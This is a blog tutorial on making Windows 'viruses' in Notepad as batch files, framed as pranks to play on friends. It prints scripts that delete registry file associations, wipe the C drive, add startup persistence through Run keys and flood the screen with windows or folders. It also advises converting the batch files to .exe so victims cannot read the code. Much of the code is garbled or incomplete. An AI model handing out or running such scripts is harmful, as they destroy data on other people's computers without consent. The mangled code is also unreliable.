How to create a virus with notepad(2020)

Have you ever thought about how to create a virus? Don’t worry we are here with a complete tutorial on how to create a virus with notepad and some funny computer viruses to prank your friends, and also how to create a simple but dangerous virus with notepad with step by step explanation.

As we know that a computer virus is a malicious program that enters into a system without permission and affects the data of the systems. Viruses are of different types and can be coded with different instruction to harm other users differently, it can be coded to self-replicate itself, corrupt the data of the system, steal passwords, etc.

Create a virus with notepad (Batch scripting)

Lets first understand what is batch scripting in simple terms. In simple terms, a batch script is a simple text file containing a sequence of commands, to be executed.

With a batch file, we can create an extremely dangerous virus that can steal data, format drives, disables firewall and antivirus, etc.

how to create a virus with notepad
create notepad virus

To create a simple notepad virus you don’t need high-end programming skills, you just need some basic knowledge and then you can create a virus in notepad.

Below are mentioned the codes for different virus codes, just copy Ctrl+C and paste Ctrl+V it in Notepad and save it as .bat extension. It’s very easy to create a virus.

NOTE: This post is solely and mainly for educational purpose only. I am nowhere responsible for any kind of damage caused by this tutorial

create computer virus
create a computer virus

Disable Internet Permanently

echo @echo off>c:windowswimn32.bat

echo break off>c:windowswimn32.bat echo


echo end>c:windowswimn32.batreg add

hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add

hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!


Endless Notepad virus prank

@ECHO off


 START %SystemRoot%\system32\notepad.exe

 GOTO top

Unlimited Folder flooded prank

@echo off

: x

md %random%


goto x

Notepad Matrix prank

@echo off

color 02


echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

goto start

Dangerous notepad virus

Delete Registry Keys


 START reg delete HKCR/.exe

 START reg delete HKCR/.dll

 START reg delete HKCR/*


 ECHO Your PC has been crashed.Your Dad.


Delete drive virus

@Echo off

Del C:\ *.* |y

create a virus
delete drive virus

After pasting the code in the notepad save the file as virus.bat extension. Done we have successfully created a virus in notepad.

Note: If any skilled person sees the program as .bat extension he/can easily check the code and delete it immediately if found dangerous for that download BatToExe it will easily convert .bat file into .exe file.

So this post was all about how to create a virus with notepad. After this, you can easily make a computer virus. If you have some more tricks you share with us and don’t forget to share with your friends.

How to create a virus in C++

Turn Off Monitor

#include <iostream>

#include <stdio.h>

#include <windows.h>

#include <winable.h>

#include <conio.h>

#include <ctime>

void Hibernation()





Crazy Mouse virus

void CrazyMouse()


X = rand()%801;

Y = rand()%601;

SetCursorPos( X, Y );


If you liked our post on how to create a virus with notepad share it with your friends.

Satender Kumar

A tech Blogger always fascinated with the technology and gather as much amount of knowledge from the internet. Loves to share the knowledge with the others.

Leave a Reply

Your email address will not be published. Required fields are marked *